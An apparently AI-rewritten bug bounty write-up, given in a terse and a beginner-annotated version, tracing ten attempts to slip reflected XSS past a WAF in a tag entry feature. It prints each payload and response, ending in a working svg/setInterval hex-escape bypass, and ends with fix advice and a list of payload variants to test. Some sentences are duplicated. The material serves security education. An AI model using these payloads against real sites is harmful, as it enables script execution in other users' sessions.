Skip to content
XSS Write-up Intermediate

JUMPING TO THE HELL WITH 10 ATTEMPTS TO BYPASS DEVIL’S WAF

A tag entry feature reflected user input without proper sanitisation, allowing HTML injection. After many attempts to bypass a WAF, the author achieved cross-site scripting (XSS) by injecting an SVG element with an onload handler that executed JavaScript.

ak1t4 Follow

Published on medium.com

{{media:0}}

Ak1T4, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 6 min read.

Context

The target was a private bug bounty program, and the author deliberately keeps the program's name hidden. While looking around the application he found an entry tag feature, a point where the app loads a tag item. That feature is what he decided to attack, and the whole write-up is a record of ten attempts to get a payload past the application's WAF and into the page as executable markup.

The weakness class is cross-site scripting. The report does not describe the application's stack, the WAF product, or the exact endpoint and parameter names; the payloads are shown only as an injection: value.

Setup

No accounts, roles, tools or versions are described. The only precondition visible in the text is the entry tag feature itself, which reflects the supplied value back into the page. The author notes that XSS is not his field, and that he works by common and logical sense rather than as a coder.

Finding it

The entry tag feature caught his attention because it loads a tag item, which suggested the input would end up in the DOM. He began by sending a small HTML fragment and watching how the application and its WAF transformed it in the response. Each attempt below is a variation on the previous one, adjusted according to what came back.

Exploitation

First attempt

Text
injection: “=””’><details open=“”>

The output came back as:

Text
<span>”=””’&gt;&lt;details open=””&gt; (0)</span>

The angle brackets were encoded, so nothing rendered. The author's verdict: nothing.

Second attempt

Text
injection: “=””’></><details open=“”>

The output came back as:

Text
<span>”=””’&gt;&lt;/&gt;&lt;details open=””&gt; (0)</span>

Again the markup was encoded and nothing happened.

Third attempt

Text
injection: “=””’></><script></script><details open=“”>

The output came back as:

Text
<span>”=””’&gt;<details open=”…” (0)<=”” span=””><a href=”” class=”” rel=”1"></a></details></span>
Image for post
Image for post From the original on medium.com

This time the details element survived into the DOM, so the author reports HTML injection.

Image for post
Image for post From the original on medium.com

With markup injection confirmed, the next goal was to turn it into script execution.

Image for post
Image for post From the original on medium.com

Fourth attempt

He swapped the details tag for svg:

Text
injection:“=””’></><script></script><svg onload=alert(1)>

The output came back as:

Text
<span>”=””’&gt;<svg onload=”al…” (1)=””> </svg></span>

The tag rendered, but the handler was mangled, with the odd dots visible in the DOM, and no popup appeared. The author notes that the same position worked fine with the details tag, which made the svg behaviour strange.

Fifth attempt

Text
injection:“=””’></><script></script><svg onload”=”alert(1)>

The output came back as:

Text
<svg onload”=”… (1)> </span><a href=” “=”” class=”” rel=”1"></svg>

Still no execution.

Image for post
wat? From the original on medium.com

Sixth attempt

Text
injection:“=””’></><script></script><svg onload”=””alertonload=alert(1)””>

The output came back as:

Text
<span>”=””’&gt;<svg onload”=”… (1)” “=””> </svg></span>

At this point the author says he gives up, because it is not working.

Image for post
Image for post From the original on medium.com

Seventh attempt

Text
injection:“ =”” ‘></><script></script><svg onload”=”alertonload=alert(1)”” onload=prompt(1)>

The output came back as:

Text
onload=”prompt</span”><a href=”” class=”” rel=”0"></a></svg></span>

This looked closer to something usable, and the author says he can feel it.

Image for post
i can fell your energy.. ak1t4.. From the original on medium.com

Eighth attempt

Text
injection:“ =”” ‘></><script></script><svg onload”=”alertonload=alert(1)”” onload=prompt`1`>

The output came back as:

Text
<svg onload”…=”” (1)””=”” onload=”prompt`1`”> </svg> :)

This time the handler survived intact and the popup fired. The author reports XSS.

Image for post
Image for post From the original on medium.com
Image for post
Image for post

Ninth attempt

With execution confirmed, he tried to read the domain:

Text
injection:“ =”” ‘></><script></script><svg onload”=”alertonload=alert(1)”” onload=prompt`document.domain`>

The output came back as:

Text
<svg onload”…=”” (1)””=”” onload=”prompt`document.domain`”> </svg> :(
Image for post
Image for post From the original on medium.com

The handler was present but the input was treated as a string, so document.domain was not evaluated. The author describes these as sticky characters taking the input as a string.

At this point he asks a colleague, referred to as Master Brute, how to inject document.domain past the sticky characters, and shows the reply.

Image for post
Image for post From the original on medium.com

Final attempt

Text
injection:“ =”” ‘></><script></script><svg onload”=”alertonload=alert(1)”” onload=setInterval`alert\x28document.domain\x29`

The author reports this as a success. The author reports this as a success and credits Master Brutelogic with guiding him to this final form. The author credits Master Brutelogic with guiding him to this final form.

Image for post
Image for post From the original on medium.com

Root cause

The report does not show the server-side code, so the cause can only be inferred. The application reflects the tag value into the page, and the WAF rewrites or encodes parts of the input rather than rejecting it outright. The details element survived encoding in the third attempt, which shows that the filtering was not applied consistently to all markup. The svg handler was repeatedly mangled, and the final bypass relied on syntax that the filter did not recognise as dangerous: a template literal passed to setInterval, with the parentheses of the inner call written as hex escapes.

Impact

Successful XSS in the entry tag feature means script runs in the context of the application's origin. The author demonstrates execution with prompt; the attempt to read document.domain was treated as a string and did not evaluate.

Fix

The appropriate fix, given the behaviour shown, is to stop reflecting the tag value as markup: encode it on output so that it is always treated as text, and validate it against the expected format of a tag on input. A WAF that rewrites characters is not a substitute for contextual output encoding, because, as this report shows, equivalent syntax can slip past it.

Variants to test

  1. Send a benign element such as details and check whether it renders in the DOM. A positive result is the element appearing unencoded in the response.
  2. Send an svg with an onload handler and inspect how the handler is transformed. A positive result is the handler surviving intact, or a pattern in the mangling that suggests a specific character is being filtered.
  3. Replace parentheses in the handler with \x28 and \x29 escapes inside a template literal, as in the final payload. A positive result is the handler executing where the plain form did not.
  4. Use setInterval or another timer function with a template literal when a direct call is treated as a string. A positive result is the expression being evaluated rather than displayed.
  5. Try the same payload shapes on other reflected parameters of the same application, since the filtering behaviour may differ between features.

Hunting notes

This kind of bug tends to hide in features that load or render user-supplied items, such as tag entry points, where the value is echoed back into the page. The signal during testing is a response that encodes some characters but not others, or that mangles a handler in a consistent way: that pattern indicates a transformation-based filter rather than proper output encoding, and each transformation can be probed with an equivalent syntax. The author's path shows the value of iterating on the exact response rather than abandoning a payload after one failure, and of asking someone with more XSS experience when a construct is being treated as a string.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 11 min read.

What happened, in plain words

A security researcher was testing a private bug bounty program, which is a scheme where a company invites selected testers to look for security problems in its systems and report them. He keeps the program's name hidden. While clicking around the application he found a feature for entering tags, a small piece of text that the app loads and shows on the page. That feature caught his attention because anything you type into it comes back out on the page, and anything that comes back out on a page is a candidate for cross-site scripting.

Cross-site scripting, usually shortened to XSS, is a class of bug where an attacker manages to get their own code, normally JavaScript, to run inside someone else's web page. JavaScript is the programming language that browsers run; it is what makes pages interactive. If an attacker can slip their JavaScript into a page that other people view, that code runs with the same trust the site has, so it can read what the page can read and act as the logged-in user. A simple everyday comparison: imagine a noticeboard where visitors can pin notes. If the board copies whatever a visitor writes onto official letterhead, a visitor can write something that looks like an official announcement. XSS is the web version of that.

Between the researcher and the page sits a WAF, a web application firewall. A WAF is a filter that inspects incoming requests and tries to block or rewrite anything that looks like an attack. Think of it as a security guard at the door who reads every note before it goes on the board and scribbles out words he thinks are dangerous. The whole write-up is a record of ten attempts to get a payload past that guard and onto the page as working markup.

A payload here just means the piece of text the researcher sends as input, crafted to do something. Markup means the tags that make up a web page, such as <details> or <svg>, which the browser reads and turns into visible elements. The report does not describe the application's technology, the WAF product, or the exact endpoint and parameter names; the payloads are shown only as an injection: value, meaning the text placed into the tag entry field.

Setup

No accounts, roles, tools or versions are described. The only precondition visible in the text is the tag entry feature itself, which reflects the supplied value back into the page. "Reflects" means the app takes what you typed and prints it back into the page's HTML. The author notes that XSS is not his field, and that he works by common and logical sense rather than as a coder.

Finding it

The tag entry feature caught his attention because it loads a tag item, which suggested the input would end up in the DOM. The DOM, the Document Object Model, is the browser's live, in-memory model of the page: the tree of elements the browser has built from the HTML. When people say input "ends up in the DOM", they mean the browser has turned it into real elements rather than plain text. He began by sending a small HTML fragment and watching how the application and its WAF transformed it in the response. Each attempt below is a variation on the previous one, adjusted according to what came back.

Exploitation

First attempt

Text
injection: “=””’><details open=“”>

This sends a value that starts with some quote characters and then a <details> element. <details> is a standard HTML element that shows a collapsible section you can open and close. The idea was to see whether the app would let a real element through, or whether it would turn the angle brackets into harmless text.

The output came back as:

Text
<span>”=””’&gt;&lt;details open=””&gt; (0)</span>

Line by line: the whole thing is wrapped in a <span>, an inline container element. The angle brackets of the payload have become &gt; and &lt;. Those are HTML entities, coded stand-ins for the > and < characters. When a browser sees &lt; it displays a literal < on screen instead of treating it as the start of a tag. So the browser showed the text but built no element. The author's verdict: nothing.

Second attempt

Text
injection: “=””’></><details open=“”>

Here he added </> before the details element, an empty closing tag, to see whether breaking up the markup changed how the filter handled it.

The output came back as:

Text
<span>”=””’&gt;&lt;/&gt;&lt;details open=””&gt; (0)</span>

Again every angle bracket was encoded into an entity, so again nothing rendered. The filter was catching the brackets in this shape.

Third attempt

Text
injection: “=””’></><script></script><details open=“”>

This time he inserted an empty <script></script> pair before the details element. <script> is the tag that tells the browser "run the JavaScript inside me". Here it is empty, so it runs nothing; the point was to see whether the presence of a script tag changed how the filter processed everything after it.

The output came back as:

Text
<span>”=””’&gt;<details open=”…” (0)<=”” span=””><a href=”” class=”” rel=”1"></a></details></span>
Image for post
Image for post From the original on medium.com

This time the details element survived into the DOM, so the author reports HTML injection. HTML injection means you got your own markup onto the page, even if it does not yet run code.

Image for post
Image for post From the original on medium.com

With markup injection confirmed, the next goal was to turn it into script execution.

Image for post
Image for post From the original on medium.com

Fourth attempt

He swapped the details tag for svg:

Text
injection:“=””’></><script></script><svg onload=alert(1)>

<svg> is the tag for scalable vector graphics, a way to draw shapes in HTML. It is popular in XSS because it supports event attributes such as onload, which fires when the element loads. alert(1) is the classic test: it makes the browser pop up a box saying "1". If that box appears, your JavaScript ran.

The output came back as:

Text
<span>”=””’&gt;<svg onload=”al…” (1)=””> </svg></span>

The tag rendered, but the handler was mangled, with the odd dots visible in the DOM, and no popup appeared. The author notes that the same position worked fine with the details tag, which made the svg behaviour strange.

Fifth attempt

Text
injection:“=””’></><script></script><svg onload”=”alert(1)>

He changed the = after onload into ”=”, trying to work around whatever was rewriting that spot.

The output came back as:

Text
<svg onload”=”… (1)> </span><a href=” “=”” class=”” rel=”1"></svg>

Still no execution.

Image for post
wat? From the original on medium.com

Sixth attempt

Text
injection:“=””’></><script></script><svg onload”=””alertonload=alert(1)””>

He tried doubling the quotes and repeating the word onload inside the handler, guessing at how the filter was matching patterns.

The output came back as:

Text
<span>”=””’&gt;<svg onload”=”… (1)” “=””> </svg></span>

At this point the author says he gives up, because it is not working.

Image for post
Image for post From the original on medium.com

Seventh attempt

Text
injection:“ =”” ‘></><script></script><svg onload”=”alertonload=alert(1)”” onload=prompt(1)>

He added a second handler, onload=prompt(1). prompt is like alert: it opens a small dialog asking for input. Using a different function can matter when a filter is looking for the word alert.

The output came back as:

Text
onload=”prompt</span”><a href=”” class=”” rel=”0"></a></svg></span>

This looked closer to something usable, and the author says he can feel it.

Image for post
i can fell your energy.. ak1t4.. From the original on medium.com

Eighth attempt

Text
injection:“ =”” ‘></><script></script><svg onload”=”alertonload=alert(1)”” onload=prompt`1`>

The change here is the backticks around the 1: prompt1``. Backticks in JavaScript create a template literal, a way of writing a string. A string is just text held in the program. The filter had been interfering with parentheses, so writing the argument this way was an experiment.

The output came back as:

Text
<svg onload”…=”” (1)””=”” onload=”prompt`1`”> </svg> :)

This time the handler survived intact and the popup fired. The author reports XSS.

Image for post
Image for post From the original on medium.com
Image for post
Image for post

Ninth attempt

With execution confirmed, he tried to read the domain:

Text
injection:“ =”” ‘></><script></script><svg onload”=”alertonload=alert(1)”” onload=prompt`document.domain`>

document.domain is a property that tells you which site the page belongs to.

The output came back as:

Text
<svg onload”…=”” (1)””=”” onload=”prompt`document.domain`”> </svg> :(
Image for post
Image for post From the original on medium.com

The handler was present but the input was treated as a string, so document.domain was not evaluated. In other words, the browser showed the text document.domain instead of working out its value. The author describes these as sticky characters taking the input as a string.

At this point he asks a colleague, referred to as Master Brute, how to inject document.domain past the sticky characters, and shows the reply.

Image for post
Image for post From the original on medium.com

Final attempt

Text
injection:“ =”” ‘></><script></script><svg onload”=”alertonload=alert(1)”” onload=setInterval`alert\x28document.domain\x29`

The author reports this as a success. The author reports this as a success and credits Master Brutelogic with guiding him to this final form. setInterval is a JavaScript function that runs a piece of code repeatedly on a timer; here it is used as a way to hand the code over for evaluation. The \x28 and \x29 are hexadecimal escape codes for ( and ), so the browser reads them as brackets even though the raw characters never appear in the input. The author credits Master Brutelogic with guiding him to this final form.

Image for post
Image for post From the original on medium.com

Root cause

The report does not show the server-side code, so the cause can only be inferred. The application reflects the tag value into the page, and the WAF rewrites or encodes parts of the input rather than rejecting it outright. The details element survived encoding in the third attempt, which shows that the filtering was not applied consistently to all markup. The svg handler was repeatedly mangled, and the final bypass relied on syntax that the filter did not recognise as dangerous: a template literal passed to setInterval, with the parentheses of the inner call written as hex escapes. A blacklist is a list of things you are not allowed to do; it only works if you thought of every way to do the forbidden thing.

Impact

Successful XSS in the tag entry feature means script runs in the context of the application's origin. The author demonstrates execution with prompt; the attempt to read document.domain was treated as a string and did not evaluate.

Fix

The appropriate fix, given the behaviour shown, is to stop reflecting the tag value as markup: encode it on output so that it is always treated as text, and validate it against the expected format of a tag on input. A WAF that rewrites characters is not a substitute for contextual output encoding, because, as this report shows, equivalent syntax can slip past it.

Variants to test

  1. Send a benign element such as details and check whether it renders in the DOM. A positive result is the element appearing unencoded in the response.
  2. Send an svg with an onload handler and inspect how the handler is transformed. A positive result is the handler surviving intact, or a pattern in the mangling that suggests a specific character is being filtered.
  3. Replace parentheses in the handler with \x28 and \x29 escapes inside a template literal, as in the final payload. A positive result is the handler executing where the plain form did not.
  4. Use setInterval or another timer function with a template literal when a direct call is treated as a string. A positive result is the expression being evaluated rather than displayed.
  5. Try the same payload shapes on other reflected parameters of the same application, since the filtering behaviour may differ between features.

Hunting notes

This kind of bug tends to hide in features that load or render user-supplied items, such as tag entry points, where the value is echoed back into the page. The signal during testing is a response that encodes some characters but not others, or that mangles a handler in a consistent way: that pattern indicates a transformation-based filter rather than proper output encoding, and each transformation can be probed with an equivalent syntax. The author's path shows the value of iterating on the exact response rather than abandoning a payload after one failure, and of asking someone with more XSS experience when a construct is being treated as a string.

Glossary

  • Bug bounty program: a scheme where a company invites testers to find and report security problems, often for a reward.
  • Private bug bounty program: a program open only to selected testers, not the public.
  • Cross-site scripting (XSS): a bug where an attacker gets their own JavaScript to run inside someone else's web page.
  • JavaScript: the programming language browsers run to make pages interactive.
  • WAF (web application firewall): a filter that inspects incoming requests and blocks or rewrites anything that looks like an attack.
  • Payload: the crafted piece of input sent to try to trigger a bug.
  • Markup: the tags that make up a web page, such as <details> or <svg>.
  • HTML injection: getting your own markup onto a page, even if it does not yet run code.
  • DOM (Document Object Model): the browser's live, in-memory tree of elements built from the page's HTML.
  • Reflect: to print user input back into the page's HTML.
  • HTML entity: a coded stand-in for a character, such as &lt; for <, so the browser shows it as text.
  • <span>: an inline container element used to group text.
  • <details>: an HTML element that shows a collapsible section.
  • <script>: the tag that tells the browser to run the JavaScript inside it.
  • <svg>: the tag for scalable vector graphics, which supports event attributes such as onload.
  • Event attribute / handler: an attribute such as onload that runs code when something happens to the element.
  • alert(1): a JavaScript call that opens a popup saying "1", used to prove code ran.
  • prompt(1): a JavaScript call that opens a dialog asking for input.
  • Template literal: a JavaScript string written with backticks.
  • String: text held in a program.
  • document.domain: a property that tells you which site the page belongs to.
  • setInterval: a JavaScript function that runs code repeatedly on a timer.
  • Hex escape (\x28, \x29): a way of writing a character by its code; here ( and ).
  • Blacklist: a list of forbidden things, which only works if every way of doing them is listed.
  • Output encoding: converting user input so the browser always treats it as text, not markup.
  • Origin: the combination of scheme, host and port that identifies a site to the browser.

More by ak1t4

View all

8 more disclosed reports, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.